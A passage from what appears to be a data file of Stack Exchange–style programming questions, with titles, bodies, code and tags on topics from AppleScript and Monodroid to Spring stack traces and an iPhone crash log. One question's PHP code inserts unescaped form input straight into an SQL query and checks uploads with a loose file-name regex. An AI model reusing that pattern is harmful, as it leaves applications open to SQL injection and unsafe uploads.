body to a Nikon D700 or keeping the D40 and getting a 300mm f/2.8 VRII. Either one
of those options means spending as much or more on upgrading gear than on the trip
itself.\nSo my question is, as a hobbyist with some semi-pro aspirations and a
desire to enter serious amateur competitions, am I getting out of control with
buying gear too early, or should I just keep getting better with what I have right
now? Primarily, I just love taking photos. Making money and entering contests will
always be secondary. I just wonder with where I am in my current abilities if so
much money going into gear will bring an equivalent amount of satisfaction from
something that I'm not really doing for the money or notoriety.\n", "", "equipment-
recommendation"], "4863048": ["Applescript in Excel to find a value and then look
for another value in the same row", "This sounds simple enough (and I am sure it
is) but I cannot figure out how to do this:\nI have data in a table in excel -
let's say two columns: Column A contains ID's and Column B contains email
addresses.\nI am looking for an Applescript that will open up the database file and
lookup the ID in the one column but return the value of the second column for me to
use later in the rest of the script.\nThis is what I have thus far:\n\nNot sure how
to get the to the second column and return that value to ie. set to IDEmail?\n",
"set theFile to POSIX path of (choose file with prompt \"Choose File to Operate
on\")\ntell application \"Microsoft Excel\"\nactivate\nopen theFile\nset
searchRange to range (\"A1:D2\")\ntry\n set foundRange to find searchRange
what \"ID1\" with match case\n (* do something with the foundRange *)\non error
-- not found\n (* do error handling *)\nend try\nend tell\n", "excel find
applescript lookup"], "1493037": ["Monodroid : how can I fill a ListView with data
from a DataTable I bring from SQL?", "I have a DataTable with names queried from
SQL Server. I want to use those names to populate a ListView created in the .axml
file. What would be the best way to handle this? This is what I have so far: \n\
nand the .axml:\n\nHowever, the result of the above code is that it returns me to
the first page of the application, and then the emulator shuts down.\nThe android
device logging show those errors\nPLEASE HELP ASAP\n", "using System;\nusing
System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing
Android.App;\nusing Android.Content;\nusing Android.OS;\nusing Android.Runtime;\
nusing Android.Views;\nusing Android.Widget;\nusing System.Data;\n\nnamespace
MonoAndroidApplication3\n{\n [Activity(Label = \"care sheet list test\")]\n
public class caresheetlist : ListActivity\n {\n protected override void
OnCreate(Bundle bundle)\n {\n base.OnCreate(bundle);\n\n\n
DAL d = new DAL(\"Data Source=.;Initial Catalog=reptitips;Integrated
Security=True\");\n DataTable tbl = d.FillAndReturn(\"select
ReptileCommonName from reptiles order by ReptileCommonName\", null, null, null);\n\
n string[] reptileNames = new string[tbl.Rows.Count];\n\n for
(int i = 0; i < reptileNames.Length; i++)\n {\n
reptileNames[i] = tbl.Rows[i][\"ReptileCommonName\"].ToString();\n }\n\
n\n ListAdapter = new ArrayAdapter<string>(this,
Resource.Layout.listitem, reptileNames);\n\n ListView.TextFilterEnabled
= true;\n\n ListView.ItemClick += delegate(object sender, ItemEventArgs
args)\n {\n // When clicked, show a toast with the
TextView text\n Toast.MakeText(Application,
((TextView)args.View).Text, ToastLength.Short).Show();\n };\n\n
//AutoCompleteTextView textView1 =
(AutoCompleteTextView)FindViewById(autoComplete1);\n
//ArrayAdapter<String> adapter = new ArrayAdapter<String>(this,
Resource.Layout.listitem, reptileNames);\n }\n }\n}\n", "c# android
visual-studio-2010 monodroid"], "1584890": ["run multiple operating system at
once", "\nPossible Duplicate:\nTheoretically possible to run two operating systems
simultaneously? \n\nIs it possible to run multiple operating systems at once,
without using virtual machines like virtualbox, and without using dual boot? I want
to be able to switch between linux and windows without having to reboot, and
virtual machines don't use the system resources directly.\nAlso, I want this to run
on a 64-bit machine.\n", "", "operating-systems"], "5631017": ["Eclipselink and
Spring 3.1", "I have got Hibernate working but I am trying to change to
Eclipselink. I have been searching for a solution for this but without result.
People suggest putting these two(not together)\n\nin persistence.xml\n\
npersitence.xml\n\n\napplication-context.xml\n\n \n\n\nDao class\n\n\nThe entity
class\n\n\nThe error\n\norg.springframework.web.util.NestedServletException:
Request processing failed; nested exception is java.lang.IllegalArgumentException:
Object: Todo [summary=This is a test, description=This is a test] is not a known
entity type.\n
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.ja
va:894)\n
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:778)\n
javax.servlet.http.HttpServlet.service(HttpServlet.java:621)\n
javax.servlet.http.HttpServlet.service(HttpServlet.java:722)\n
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEn
codingFilter.java:88)\n
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.j
ava:76)\n
com.opensymphony.sitemesh.webapp.SiteMeshFilter.obtainContent(SiteMeshFilter.java:1
29)\n
com.opensymphony.sitemesh.webapp.SiteMeshFilter.doFilter(SiteMeshFilter.java:77)\
nroot cause\n\njava.lang.IllegalArgumentException: Object: Todo [summary=This is a
test, description=This is a test] is not a known entity type.\n
org.eclipse.persistence.internal.sessions.UnitOfWorkImpl.registerNewObjectForPersis
t(UnitOfWorkImpl.java:4169)\n
org.eclipse.persistence.internal.jpa.EntityManagerImpl.persist(EntityManagerImpl.ja
va:440)\n no.mesta.driftslogg.dao.jpa.PersonDaoJpa.save(PersonDaoJpa.java:45)\n
no.mesta.driftslogg.service.impl.PersonServiceImpl.savePerson(PersonServiceImpl.jav
a:20)\n sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)\n
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:2
5)\n java.lang.reflect.Method.invoke(Method.java:597)\n
org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.ja
va:318)\n
org.springframework.aop.framework.ReflectiveMethodInvocation.invokeJoinpoint(Reflec
tiveMethodInvocation.java:183)\n
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMeth
odInvocation.java:150)\n
org.springframework.transaction.interceptor.TransactionInterceptor.invoke(Transacti
onInterceptor.java:110)\n
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMeth
odInvocation.java:172)\n
org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java
:202)\n $Proxy15.savePerson(Unknown Source)\n
no.mesta.driftslogg.controller.HomeController.home(HomeController.java:31)\n
sun.reflect.NativeMethodAccessorImpl.invoke0(Native
Method)\n
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)\n
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:2
5)\n java.lang.reflect.Method.invoke(Method.java:597)\n
org.springframework.web.method.support.InvocableHandlerMethod.invoke(InvocableHandl
erMethod.java:212)\n
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(Invo
cableHandlerMethod.java:126)\n
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod
.invokeAndHandle(ServletInvocableHandlerMethod.java:96)\n
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.
invokeHandlerMethod(RequestMappingHandlerAdapter.java:617)\n
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.
handleInternal(RequestMappingHandlerAdapter.java:578)\n
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(Abst
ractHandlerMethodAdapter.java:80)\n
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java
:900)\n
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:
827)\n
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.ja
va:882)\n
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:778)\n
javax.servlet.http.HttpServlet.service(HttpServlet.java:621)\n
javax.servlet.http.HttpServlet.service(HttpServlet.java:722)\n
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEn
codingFilter.java:88)\n
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.j
ava:76)\n
com.opensymphony.sitemesh.webapp.SiteMeshFilter.obtainContent(SiteMeshFilter.java:1
29)\n
com.opensymphony.sitemesh.webapp.SiteMeshFilter.doFilter(SiteMeshFilter.java:77)\n\
n", "<class>no.mesta.driftslogg.model.Person</class> \n<exclude-unlisted-
classes>false</exclude-unlisted-classes>\n", "spring jpa eclipselink"], "117910":
["Converting base64 image to multipart/form-data and sending with jQuery", "I have
a base64 encoded jpg in javascript which I would like to post to a server which is
expecting multipart/form-data.\nSpecifically, to the pivotal tracker API, which has
an example curl call like so: \n\nI have basic XML only calls to their API working
fine, using .ajax like so:\n\nbut I am stumped on how to take my base64 encoded jpg
and send it as if I had uploaded a file in a form.\nAny ideas?\n", "curl -H \"X-
TrackerToken: TOKEN\" -X POST -F Filedata=@/path/to/file
\\\nhttp://www.pivotaltracker.com/services/v3/projects/PROJECT_ID/stories/
STORY_ID/attachments\n", "javascript jquery api base64"], "2202980": ["How do I
install openSUSE 12.1 from an external hard disk?", "For some reason, my laptop (HP
ProBook 5320m) refuses to boot when I install the ISO images for openSUSE 12.1 on
an USB stick (the stick starts to blink and then the internal fan goes into
overdrive and I have to switch off the laptop).\nI also tried the NET version,
different USB sticks, no game. Currently, openSUSE 11.4 is installed on the laptop,
is it's not impossible to install. My guess is that something was changed in the
12.1 release which the BIOS of the laptop doesn't like.\nSo my last hope is to
create a bootable external hard disk but when I look into the folder of the ISO
image, I can't find GRUB or anything that I recognize.\nQuestions:\n\nIs there a
way to replace the ISO boot loader with GRUB?\nIs there some other way to install
12.1 on openSUSE 11.4? Ubuntu can do a dist upgrade in the running system, for
example. Is something like that possible with openSUSE, too?\nCould I boot with the
installer for 11.4 and somehow make it use the installation files for 12.1?\n\nPS:
Dear HP engineers. Your BIOS looks great but I'd prefer one that works. Just saying
:-(\n", "/boot", "opensuse system-installation usb-drive bios"], "2746477":
["Proper way to edit area in file with Apache Ant and pass an argument?", "Hey
guys, I am using Apache Ant and I am wondering how would I edit a variable in a
file (e.g. database host, username, password) and pass an argument (e.g. for a
subversion commit message)\nBasically I want the Apache Ant task to change my
database variables and then execute the subversion commit command on my current
directory.\nThis is on Windows 7.\nThanks\n", "", "svn apache ant automation"],
"1202804": ["How do I configure Tomcat 6 so that JSP files in one subdirectory will
not be executed?", "Assume that I have a webapp running on a Tomcat 6 server with
the following directory structure.\n\nI want to disallow execution of JSP files
in /home/uploads/ because there should not be any there. Is there a way to do that
in the standard Tomcat 6 config? By \"standard\" I mean using no 3rd party add-ons
or plug-ins, base Tomcat install only. \n",
"/home/\n/home/css/\n/home/images/\n/home/inc/\n/home/js/\n/home/uploads/\n",
"tomcat tomcat6"], "459000": ["post renamed filename from upload to database", "I
coule really use some help. I need to post the new name of the file to the
database. Currently this code is posting the orginal name to the database? How
can I post the new name to the database? Please see the code below.\n\n", "<form
action=\"\" method=\"post\" enctype=\"multipart/form-data\">\n<p>\n <label
for=\"file\">Name:</label>\n <input type=\"text\" name=\"user_name\" id=\"name\"
size=\"24\"/> \n</p>\n<p>\n <label for=\"file\">Email Address:</label>\n
<input type=\"text\" name=\"email\" id=\"email\" size=\"24\"/> \n</p>\n<p>\n
<label for=\"file\">Phone Number:</label>\n <input type=\"text\" name=\"phone\"
id=\"phoneNumber\" size=\"24\"/> \n</p>\n<p>\n <label
for=\"file\">Comments:</label>\n <textarea cols=\"80\" rows=\"6\"
name=\"comments\"></textarea> \n</p>\n<p>\n <label
for=\"file\">Filename:</label>\n <input type=\"file\" name=\"fupload\"
id=\"fupload\" size=\"24\"/>\n</p>\n<br />\n<input type=\"submit\" name=\"submit\"
value=\"Submit\" />\n</form>\n<br>\n<br>\n<?php\n require 'config.php';\n
require 'functions.php';\n\n if(isset($_FILES['fupload'])) {\n
if(preg_match('/[.](jpg)|(gif)|(png)$/', $_FILES['fupload']['name'])) {\n
$old_filename = $_FILES['fupload']['name'];\n
$random_digit=rand(0000,9999);\n $filename=$random_digit .
$old_filename;\n $source = $_FILES['fupload']['tmp_name'];\n
$target = $path_to_image_directory . $filename;\n\n
move_uploaded_file($source, $target);\n\n createThumbnail($filename);\n
}\n }\n\n include \"connect.php\";\n $db_database = new mysqli($db_host,
$db_user, $db_pass, $db_database);\n\n $user_name =
stripslashes($_POST['user_name']);\n $email = stripslashes($_POST['email']);\n
$phone = stripslashes($_POST['phone']);\n $comments =
stripslashes($_POST['comments']);\n $filename = basename( $_FILES['fupload']
['name']);\n\n $query = \"INSERT into upload\n (user_name, email,
phone, comments, fupload, date_added)\n values ('$user_name', '$email',
'$phone', '$comments', '$filename', NOW())\";\n $db_database->query($query);\n?
>\n", "php mysql database file-upload rename"], "2978418": ["What is the
fundamental difference between Activities and simple forms in Android?", "I'm
pretty much new to Android, but over the last two or three weeks I've managed to
figure out most of its innards and how things work.\nHowever, one thing is still
bothering me - what's the basic difference between Activities and simple forms?
Well, I know Android doesn't have such thing as a 'form', but by that I mean a
fullscreen layout of elements that has an underlying class and all its
functionality is executed in it, rather than in a process-wide class (Activity, to
be precise).\nAs long as I understand, Activity is a separate process that's
instantiated by OS to perform some actions that are basicly independent of the
whole application. That also means that we can run only one of the application's
activities, and it will still perform all of its functions without needing the
whole application to be loaded. For example, if we have a movie player that can
also convert movies from one codec to another, we can implement that functionality
as a separate Activity so that other applications, like file managers, will also be
able to convert movies between codecs using only that Activity, and not the whole
application.\nAnd that seems perfectly straightforward. The question is - why is
everybody using separate Activities for functionality that cannot be separated from
the application? In other words, people generally use Activities where I think
simple forms within the same process would be more appropriate. For instance, I've
seen people using a separate Activity for things like application settings, which
obviously wouldn't be be launched outside the app itself, or editing application-
specific data, which wouldn't be done outside the app as well, since the data to be
edited should be selected from a list only known to the application.\nAnother
example right from my experience - a unit converter application. It has a main menu
with a GridView of units' categories, in each category there is a list of units and
by clicking any unit we have a 'calculator' form for entering value that we want to
convert. If I'd been doing that like everyone suggests I'd have three Activities -
one for the main menu, one for the list of units and one for entering the value.
But why? Why would I want to launch any of those three Activities separate from the
application? If I'd want to launch main menu Activity - well, why not launch the
whole application then? If I want just a list of units - again, just launch the
whole application, it's not like some Facebook client is
going to convert values between pressure units (since the list of units covers
only one category at a time). And launching an activity for the calculator simply
would not work, since it should return to the list to perform conversions and you'd
have no list activity launched.\nAnd anyway, even if I'm wrong and people use it
wisely there's still an issue that Android SDK doesn't really provide any support
for forms as I'm used to. Yes, there are things like ViewAnimator, ViewSwitcher
etc. But all they do is switch layouts in their place, and that is hardly switching
between forms as such. So the only choice to get close to that functionality at
least is to use Activities. And we're back to the square one.\nSo to put it simply
- am I missing something from the Android philosophy? Because I'm pretty sure that
using a separate Activity (and a separate process as a result) for every single
form in the application is an overkill. And if it really is and everybody knows
that - why doesn't Android have any substantial form switching mechanism?\nThanks
in advance for any clarification on this issue.\n", "", "android forms view
android-activity"], "4103392": ["Python subprocess Popen not sending all arguments
to shell", "I am using Python's subprocess module to launch another program. The
program requires an argument '-c{0-7}'.\n\nIn the C++ program, I'm checking the
arguments passed in:\n\nHere is the output when I run the python script:\n\nAs is
clear, the argument '-c3' is not being passed to the subprocess. Any thoughts?\n",
"this_dir = os.path.dirname(os.path.abspath(__file__))\ncmd =
[os.path.join(this_dir,'foobar'),'-c%d' % channel]\nprint \"Starting process: %s\"
% str(cmd)\nProc = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True)\n",
"python subprocess popen"], "5938329": ["JavaScript IP regexp", "I need a
JavaScript code that changes the IP address into rexexp, i.e: to and the same
operation for netmask. \nAnyone has an idea?\n", "123.123.123.123", "javascript
regex ip netmask"], "5034619": ["Slicing at runtime", "can someone explain me how
to slice a numpy.array at runtime?\nI don't know the rank (number of dimensions) at
'coding time'.\nA minimal example:\n\nAnd my ugly dynSlicing():\n\nResize() will
not do the job since it flats the array before dropping elements.\nThanks,\nTebas\
n", "import numpy as np\na = np.arange(16).reshape(4,4) # 2D matrix\ntargetsize =
[2,3] # desired shape\n\nb_correct = dynSlicing(a, targetsize)\nb_wrong =
np.resize(a, targetsize)\n\nprint a\n[[ 0 1 2 3]\n [ 4 5 6 7]\n [ 8 9 10
11]\n [12 13 14 15]]\nprint b_correct\n[[0 1 2]\n [4 5 6]]\nprint b_wrong\n[[0 1
2]\n [3 4 5]]\n", "python numpy"], "4248822": ["iPhone App Fails to Launch in Time
8badf00d - Crash Log", "I have been searching for days on this topic and cannot
come up with a straight answer on how to cut down on the launch time of my app.
Can anyone take a couple minutes to interpret this crash log for me (or teach me
how)? Cuz I have no clue and I have tried searching and even contacting Apple.
Thanks so much in advance. This forum is amazing!\n\nIncident Identifier:\n
F91ACCAA-1119-45B4-B6A1-B9242F640DEB\n CrashReporter Key:\n
18b5124ea5f657227c5f202a27ed707379b3e2e7\n Hardware Model: iPhone2,1\n
Process: iREI [2955] Path:\n /var/mobile/Applications/BD0671A8-9B9F-4E9C-
BEDE-6E395EEEAE2C/iREI.app/iREI\n Identifier: iREI Version:\n ??? (???) Code
Type: ARM\n (Native) Parent Process: launchd [1]\nDate/Time: 2010-07-
09\n 15:28:15.229 -0700 OS Version:\n iPhone OS 4.0 (8A293) Report Version: \n
104\nException Type: 00000020 Exception\n Codes: 0x8badf00d Highlighted Thread: \
n 0\nApplication Specific Information:\n com.wilburgrey.irei failed to launch\n
in time elapsed total CPU time\n (seconds): 0.980 (user 0.370, system\n 0.610),
5% CPU elapsed application CPU time (seconds): 0.270, 1% CPU\nThread 0: 0
libobjc.A.dylib\n 0x00001d0a _mapStrHash + 6 1\n libobjc.A.dylib\n 0x00004bae
bucketOf + 6 2\n libobjc.A.dylib\n 0x00004eda _NXMapMember + 18 3\n
libobjc.A.dylib\n 0x00001cee NXMapGet + 6 4\n libobjc.A.dylib\n 0x00006b54
addNamedClass(class_t*,\n char const*) + 12 5 libobjc.A.dylib \n 0x00000f9a
_read_images + 342 6\n libobjc.A.dylib\n 0x0000d5ce map_images_nolock + 438 7\n
libobjc.A.dylib\n 0x00000bd8 map_images + 28 8 dyld\n 0x2fe04288\n
dyld::notifyBatchPartial(dyld_image_states,\n bool, char const*\n (*)
(dyld_image_states, unsigned int,\n dyld_image_info const*)) + 712 9\n dyld\n
0x2fe044c4\n dyld::registerImageStateBatchChangeHandler(dyld_image_states,\n char
const* (*)(dyld_image_states,\n unsigned int, dyld_image_info const*))\n + 112 10
dyld 0x2fe07898\n
dyld_register_image_state_change_handler\n + 44 11 libSystem.B.dylib
0x00003966\n dyld_register_image_state_change_handler\n + 46 12 libobjc.A.dylib
0x00000b9a _objc_init + 38 13 dyld\n 0x2fe0c006\n
ImageLoaderMachO::doModInitFunctions(ImageLoader::LinkContext\n const&) + 134 14
dyld\n 0x2fe0c0c2\n ImageLoaderMachO::doInitialization(ImageLoader::LinkContext\n
const&) + 14 15 dyld\n 0x2fe09ff8\n
ImageLoader::recursiveInitialization(ImageLoader::LinkContext\n const&, unsigned
int,\n ImageLoader::InitializerTimingList&) +\n 232 16 dyld\n 0x2fe09f9a\n
ImageLoader::recursiveInitialization(ImageLoader::LinkContext\n const&, unsigned
int,\n ImageLoader::InitializerTimingList&) +\n 138 17 dyld\n 0x2fe09f9a\n
ImageLoader::recursiveInitialization(ImageLoader::LinkContext\n const&, unsigned
int,\n ImageLoader::InitializerTimingList&) +\n 138 18 dyld\n 0x2fe0a3ee\n
ImageLoader::runInitializers(ImageLoader::LinkContext\n const&,\n
ImageLoader::InitializerTimingList&) +\n 34 19 dyld\n 0x2fe021fc\n
dyld::initializeMainExecutable() + 324\n 20 dyld\n 0x2fe06bc8
dyld::_main(macho_header\n const*, unsigned long, int, char\n const*, char
const*, char const**) +\n 1604 21 dyld\n 0x2fe016f2\n
dyldbootstrap::start(macho_header\n const*, int, char const**, long,\n
macho_header const*) + 494 22 dyld\n 0x2fe01058 _dyld_start + 48\nUnknown thread
crashed with unknown\n flavor: 5, state_count: 1\nBinary Images:\n 0x1000 -
0x5fff +iREI armv7 <38b9916be3f96ed5a0a8b9c5b31ab0b7>\n
/var/mobile/Applications/BD0671A8-9B9F-4E9C-BEDE-6E395EEEAE2C/iREI.app/iREI\n
0x2fe00000 - 0x2fe26fff dyld armv7 \n <697ae459733a7f0b6c439b21ba62b110>\n
/usr/lib/dyld 0x30007000 - 0x3000ffff \n libgcc_s.1.dylib armv7 \n \n
/usr/lib/libgcc_s.1.dylib 0x30098000 -\n 0x300c1fff ContentIndex armv7 \n
<40405e868ddfb485115719c167925b6b>\n
/System/Library/PrivateFrameworks/ContentIndex.framework/ContentIndex\n 0x30107000
- 0x3011afff libmis.dylib\n armv7 \n <9fbf2930731e2da9863eacdff8b121a2>\n
/usr/lib/libmis.dylib 0x3011b000 -\n 0x3011cfff CoreSurface armv7 \n \n
/System/Library/PrivateFrameworks/CoreSurface.framework/CoreSurface\n 0x30125000 -
0x30169fff \n libsqlite3.dylib armv7 \n <36b9bc7d02e29c8d321dd0d7bf7e115e>\n
/usr/lib/libsqlite3.dylib 0x3016d000 -\n 0x30174fff MobileWiFi armv7 \n
<6d417a70ec3abd8258ed0fbab0994518>\n
/System/Library/PrivateFrameworks/MobileWiFi.framework/MobileWiFi\n 0x301f3000 -
0x30221fff MIME armv7 \n \n
/System/Library/PrivateFrameworks/MIME.framework/MIME\n 0x3037a000 - 0x3037dfff
IOSurface\n armv7 \n <69e41f7996daba75c65b85a4800fd038>\n
/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface\n 0x3037e000 -
0x30389fff \n GraphicsServices armv7 \n <7194df9e594ae0fd9d9c600ccf456a08>\n
/System/Library/PrivateFrameworks/GraphicsServices.framework/GraphicsServices\n
0x303cd000 - 0x30407fff IMAVCore\n armv7 \n <2bd608c3f68c2e9cd73212007eaf248d>\n
/System/Library/PrivateFrameworks/IMAVCore.framework/IMAVCore\n 0x30464000 -
0x30483fff MobileSync\n armv7 \n \n
/System/Library/PrivateFrameworks/MobileSync.framework/MobileSync\n 0x30484000 -
0x304b2fff \n SystemConfiguration armv7 \n <2b44ac2fc47fc45c4006d08019688dbb>\
n /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration\n
0x30532000 - 0x30548fff EAP8021X\n armv7 \n <4177ec92cd0e2a4a23c79fac68de5c2e>\n
/System/Library/PrivateFrameworks/EAP8021X.framework/EAP8021X\n 0x3055c000 -
0x3065ffff CoreData\n armv7 \n <0abaeddf54d093fa5cf680b0d644d8e9>\n
/System/Library/Frameworks/CoreData.framework/CoreData\n 0x30665000 - 0x306d3fff
ProofReader\n armv7 \n <479bd40ac65cb7e6c3000d79d649571f>\n
/System/Library/PrivateFrameworks/ProofReader.framework/ProofReader\n 0x30709000 -
0x307a8fff \n JavaScriptCore armv7 \n <894df23ebbc4df713d9519141a61dd19>\n
/System/Library/PrivateFrameworks/JavaScriptCore.framework/JavaScriptCore\n
0x307a9000 - 0x307d2fff IMFoundation\n armv7 \n
<8e003a136638c28edc7b5333b8166b5a>\n
/System/Library/PrivateFrameworks/IMCore.framework/Frameworks/IMFoundation.framewor
k/IMFoundation\n 0x307d3000 - 0x307d7fff \n AssetsLibraryServices armv7 \n
<942a91e5920a8798c1a1cf75f0750b2f>\n
/System/Library/PrivateFrameworks/AssetsLibraryServices.framework/
AssetsLibraryServices\n 0x307d8000 - 0x30a72fff \n libLAPACK.dylib armv7 \n \
n /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/
libLAPACK.dylib\n 0x30a75000 - 0x30b15fff \n libobjc.A.dylib armv7 \n
<89553a61e05078fd178ac0ea2081ae40>\n /usr/lib/libobjc.A.dylib 0x30c1b000 -\n
0x30c54fff MobileCoreServices armv7 \n \n
/System/Library/Frameworks/MobileCoreServices.framework/MobileCoreServices\n
0x30c55000 - 0x30cfefff \n libxml2.2.dylib armv7 \n
<1d74fa3a5cec309857503a51cb2df667>\n /usr/lib/libxml2.2.dylib 0x30d01000 -\n
0x30d06fff MobileKeyBag armv7 \n \n
/System/Library/PrivateFrameworks/MobileKeyBag.framework/MobileKeyBag\n 0x30d1a000
- 0x30decfff \n CoreFoundation armv7 \n <17c9c36ae8824496b507446869cd4d9d>\n
/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\n
0x30dfd000 - 0x30e0afff \n libbsm.0.dylib armv7 \n
<27ad6b3a74ce1068586eabd6a553183f>\n /usr/lib/libbsm.0.dylib 0x30e31000 -\n
0x30e3dfff SpringBoardServices armv7 \n <7624f0a9e197261f2df43edb86ba0256>\n
/System/Library/PrivateFrameworks/SpringBoardServices.framework/SpringBoardServices
\n 0x30e3e000 - 0x30e78fff IOKit armv7 \n <5e0169de165c2fd25a2ddac1f3e19d06>\
n /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit\n 0x30e7c000 -
0x30eadfff CoreLocation\n armv7 \n <722c5983f0589013d0243e2512d0dd1b>\n
/System/Library/Frameworks/CoreLocation.framework/CoreLocation\n 0x30eb5000 -
0x30ebcfff \n libbz2.1.0.dylib armv7 \n <5d079712f5a39708647292bccbd4c4e0>\n
/usr/lib/libbz2.1.0.dylib 0x30ebd000 -\n 0x3140efff WebCore armv7 \n
<859bdd351085819fb4da07d12b41543f>\n
/System/Library/PrivateFrameworks/WebCore.framework/WebCore\n 0x3158f000 -
0x31594fff \n BluetoothManager armv7 \n \n
/System/Library/PrivateFrameworks/BluetoothManager.framework/BluetoothManager\n
0x31616000 - 0x31616fff Accelerate\n armv7 \n \n
/System/Library/Frameworks/Accelerate.framework/Accelerate\n 0x317ea000 -
0x31820fff Security\n armv7 \n <7cea1027f1a381b8d6c5ffae4dae0d22>\n
/System/Library/Frameworks/Security.framework/Security\n 0x31821000 - 0x318a8fff
Message armv7\n <32383927596c6b8c0837a5cd4b2bc0d4>\n
/System/Library/PrivateFrameworks/Message.framework/Message\n 0x318a9000 -
0x318e8fff \n libGLImage.dylib armv7 \n \n
/System/Library/Frameworks/OpenGLES.framework/libGLImage.dylib\n 0x318fa000 -
0x3190afff \n DataAccessExpress armv7 \n \n
/System/Library/PrivateFrameworks/DataAccessExpress.framework/DataAccessExpress\n
0x3191d000 - 0x31a3cfff Foundation\n armv7 \n \n
/System/Library/Frameworks/Foundation.framework/Foundation\n 0x31a3d000 -
0x31a90fff EventKit\n armv7 \n <7f18bef514a44edeccc9619b10f4f1c2>\n
/System/Library/Frameworks/EventKit.framework/EventKit\n 0x31a9a000 - 0x31adcfff
CoreTelephony\n armv7 \n \n
/System/Library/Frameworks/CoreTelephony.framework/CoreTelephony\n 0x31af7000 -
0x31b95fff Celestial\n armv7 \n <7a01b8d8cd2054d9b0d987bda6c52d9c>\n
/System/Library/PrivateFrameworks/Celestial.framework/Celestial\n 0x31b96000 -
0x31b9ffff CoreVideo\n armv7 \n <58180e899ec56cd8bca00221dea2bc32>\n
/System/Library/Frameworks/CoreVideo.framework/CoreVideo\n 0x31bb0000 - 0x31bb3fff
ActorKit\n armv7 \n <9858fda6756fb624164b7b83aefa6701>\n
/System/Library/PrivateFrameworks/ActorKit.framework/ActorKit\n 0x31bba000 -
0x31bbbfff Marco armv7 \n <89d4f32ac1cbb0b4f5066308fa5f422a>\n
/System/Library/PrivateFrameworks/Marco.framework/Marco\n 0x31c95000 - 0x31cd6fff
MessageUI\n armv7 \n <01029a352fe073ddf5103bad8274f1fe>\n
/System/Library/Frameworks/MessageUI.framework/MessageUI\n 0x31d07000 - 0x31dadfff
WebKit armv7 \n \n /System/Library/PrivateFrameworks/WebKit.framework/WebKit\n
0x31db0000 - 0x31ddefff AppSupport\n armv7 \n
<2a64271b39599b2180d0dfd3141027ee>\n
/System/Library/PrivateFrameworks/AppSupport.framework/AppSupport\n 0x31ec9000 -
0x31f09fff CoreAudio\n armv7 \n <1723726845b73efbeca75b33d75f335a>\n
/System/Library/Frameworks/CoreAudio.framework/CoreAudio\n 0x320ea000 - 0x321cbfff
\n GameKitServices armv7 \n <5bfca52ad46cbf5f8ea3888f646f3511>\n
/System/Library/PrivateFrameworks/GameKitServices.framework/GameKitServices\n
0x321d6000 - 0x321f5fff Conference\n armv7 \n \n
/System/Library/PrivateFrameworks/Conference.framework/Conference\n 0x321f6000 -
0x32220fff \n libtidy.A.dylib armv7 \n <25fba468c726d1a59aa109a5a76631f5>\n
/usr/lib/libtidy.A.dylib 0x32221000 -\n 0x32250fff CoreText armv7 \n
<76eb1b63d684c3d21dba9e8129666d2f>\n
/System/Library/Frameworks/CoreText.framework/CoreText\n 0x32275000 - 0x32304fff
AddressBookUI\n armv7 \n <7748fd02215f7d77eae9191cba201b97>\n
/System/Library/Frameworks/AddressBookUI.framework/AddressBookUI\n 0x32305000 -
0x3234ffff \n libstdc++.6.dylib armv7 \n \n /usr/lib/libstdc++.6.dylib
0x3238b000\n - 0x32433fff QuartzCore armv7 <109b4f6a3d2ee5aa1bb5775ab5a489bc>\n
/System/Library/Frameworks/QuartzCore.framework/QuartzCore\n 0x3245e000 -
0x3248dfff QuickLook\n armv7 \n <78442b5e66e7845f89afcc02b6982ef2>\n
/System/Library/Frameworks/QuickLook.framework/QuickLook\n 0x3248f000 - 0x324f2fff
AVFoundation\n armv7 \n <39ad1d85ae4627ed77de7751e8a3b4ec>\n
/System/Library/Frameworks/AVFoundation.framework/AVFoundation\n 0x32536000 -
0x3265afff AudioToolbox\n armv7 \n <802e4d5c449b69d9552809e5230baa84>\n
/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox\n 0x3265b000 -
0x3266afff \n MobileDeviceLink armv7 \n <575a1afc08ed55608075204df14cc5f5>\n
/System/Library/PrivateFrameworks/MobileDeviceLink.framework/MobileDeviceLink\n
0x32939000 - 0x3293bfff \n libAccessibility.dylib armv7 \n
<06dd6032c40b1feb094d63eeb2002d6d>\n /usr/lib/libAccessibility.dylib\n 0x3293c000
- 0x32985fff GMM armv7 \n <9c4efdff49ea9e6a17b5d44bcd98b6c1>\n
/System/Library/PrivateFrameworks/GMM.framework/GMM\n 0x3298c000 - 0x3299cfff
